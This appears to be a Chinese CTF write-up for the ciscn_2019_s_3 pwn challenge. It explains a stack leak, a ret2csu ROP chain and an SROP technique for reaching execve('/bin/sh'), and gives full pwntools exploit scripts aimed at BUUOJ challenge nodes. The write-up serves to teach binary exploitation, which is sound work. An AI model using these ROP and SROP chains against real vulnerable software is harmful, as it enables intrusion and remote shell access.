ciscn_2019_s_3
zach0ry

题目

img

img

没有后门函数,也没有能用来泄露libc地址的东西

img

image-20250802155522017但是看到有execve和一些对寄存器的操作,考虑csu

在栈上写入/bin/sh,之后调用它

数据在栈的位置不是固定的,但是偏移是固定的

可以通过read和write来泄露栈上的地址

scu

泄露地址

image-20250825165336404

buf的起始位置是0x7fffffffdd70,70到80之间是buf的16空间

栈上0x7fffffffdd90对应的数据是一个栈 上的地址所以选择读取这个位置的地址

并计算出它和buf之间的偏移以精准定位buf的头部image-20250825165806950

image-20250802160607786

这个函数返回时直接ret,没有进行pop ebp的操作,所以在构造payload的时候不需要覆盖ebp

脚本

1
2
3
4
5
6
payload=b"a"*16+p64(vuln)
p.sendline(payload)
p.recv(32)
place=u64(p.recv(8))
bin_sh=place-0x118
print(hex(bin_sh))

调用

64位时,设计后门函数需要rax=59(#define__NR_execve 59);rdi=”/bin/sh”;rsi=0;rdx=0;

rax=59地址已经找到了

ROPgadgets命令查看,发现只有对rdi和rsi的s操作

剩下的就是基本的csu了

image-20250825170440668

1
2
3
4
5
6
rbx_rbp_r12_r13_r14_r15

#r13>rdx r14>rsi r15>edi
#call r12+rbx*8
#add rbx, 1
#cmp rbx, rbp

设置好rdx、rsi、rdi,然后调用 syscall

首先r14和r13一定要赋值为0,而且r15d的值

函数会跳转到r12+rbx*8,让它最后修改rdi然后执行调用syscall,所以r12要赋值为payload中的pop rdi的地方,rbx赋值0

且只调用一次

所以rbp=1

最终执行

1
2
mov    rax, 59       ; syscall number for execve
syscall

脚本

1
2
3
4
5
6
payload = b'/bin/sh\x00' + b'b'*8 + p64(pop6)
payload += p64(0)*2 + p64(bin_sh + 0x50) + p64(0)*3
payload += p64(mov) + p64(rax)
payload += p64(rdi) + p64(bin_sh) + p64(syscall)
p.sendline(payload)
p.interactive()

注意

✅ mov edi, r15d和 rdi 的关系

1
mov edi, r15d

只看语法,是:

把 r15d的值(32 位)赋给 edi(也是 32 位)

但这里有个关键点:

在 x86-64 架构中,对 rdi 的低 32 位写入(edi)时,高 32 位会被清零!

🔍 举个例子

1
2
mov rdi, 0x4141414141414141
mov edi, 0x42424242

执行完第二条指令后,rdi的值是:

1
rdi == 0x0000000042424242

也就是说:

edi 相当于先清空 rdi,再写低 32 位

mov edi, r15d其实等价于:

1
rdi = r15 & 0xffffffff

所以你能用它来设置 rdi 的值前提是你设置的 r15 是一个 32 位以内的地址(或者值),比如 /bin/sh 的地址必须低于 0x100000000,否则会丢高位,导致 execve 崩溃或 syscall 参数错误

所以要之后再放设置rdi的值

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
#p=process("./ciscn_s_3")
p=remote("node5.buuoj.cn",28493)


syscall=0x400517
vuln=0x4004ED
rdi=0x4005a3
rax=0x4004E2
pop6=0x40059A#rbx_rbp_r12_r13_r14_r15

mov=0x400580#r13>rdx r14>rsi r15>edi
#call r12+rbx*8
#add rbx, 1
#cmp rbx, rbp



payload=b"a"*16+p64(vuln)
p.sendline(payload)
p.recv(32)
place=u64(p.recv(8))
bin_sh=place-0x118
print(hex(bin_sh))


payload = b'/bin/sh\x00' + b'b'*8 + p64(pop6)
payload += p64(0)*2 + p64(bin_sh + 0x50) + p64(0)*3
payload += p64(mov) + p64(rax)
payload += p64(rdi) + p64(bin_sh) + p64(syscall)
p.sendline(payload)
p.interactive()

SROP

image-20250825185946691

题目中也有sigframe

SROP 攻击的原理

image-20250825190005837

  1. 内核保存上下文(步骤 ①):当程序接收到信号时,内核会暂停程序的执行,并自动将当前所有寄存器(rax, rdi, rsi, rdx, rip, rsp 等)的状态保存到一个特殊的结构体中,这个结构体叫做 sigcontext。然后,内核将这个 sigcontext 压入栈中,为执行信号处理函数做准备。
  2. 攻击者伪造上下文:攻击者利用栈溢出漏洞,在程序接收信号之前,就向栈中写入一个伪造的 sigcontext 结构体。这个伪造的结构体中包含了攻击者想要设置的所有寄存器值。例如,你可以把 rip 设置为 execve 的地址,把 rdi 设置为 /bin/sh 字符串的地址。
  3. 触发 sigreturn 系统调用:攻击者通过构造 ROP 链,使程序执行流跳转到一个能够执行 sigreturn 系统调用的 gadget。sigreturn 是一个特殊的系统调用,它的功能就是从栈中读取 sigcontext 结构体,并恢复寄存器状态。攻击者通常会找到一个 mov rax, 0xf; syscall; 这样的 gadget,其中 0xfsigreturn 系统调用的编号。
  4. 内核恢复上下文(步骤 ③):当 syscall 执行后,内核会发现 rax 的值为 0xf,便会执行 sigreturn。正如你所说,内核在执行这一步时不会去校验栈上数据的合法性。它会盲目地信任栈上的数据,从栈顶读取我们伪造的 sigcontext 结构体,并用里面的值来恢复所有的寄存器。
  5. 劫持程序执行流(步骤 ④):由于我们已经将伪造的 sigcontext 中的 rip 设置为 execve 的地址,rdi 设置为 /bin/sh 的地址,程序恢复寄存器后,会立即跳转到 execve 函数执行,并以 /bin/sh 作为参数,最终获得一个 Shell。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
p=remote("node5.buuoj.cn",27869)

syscall_ret = 0x0400517
data = 0x0601020
mov_rax_0xf = 0x4004DA
#两次Sigreturn,第一次输入/bin/sh\x00
#第二次执行execve("/bin/sh",0,0)

vuln = 0x04004ED

payload = b'/bin/sh\x00' + b'a'*8 + p64(vuln)
p.send(payload)
p.recv(0x20)
bin_sh = u64(p.recv(8)) - 280
print("bin_sh_addr =================== ",hex(bin_sh))

#第二次Sigreturn
payload = [ b'/bin/sh\x00',b'a'*0x8,mov_rax_0xf,syscall_ret]#先设计rax的值,然后syscall去触发这个
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
payload.append(bytes(frame))
p.sendline(flat(payload))
p.interactive()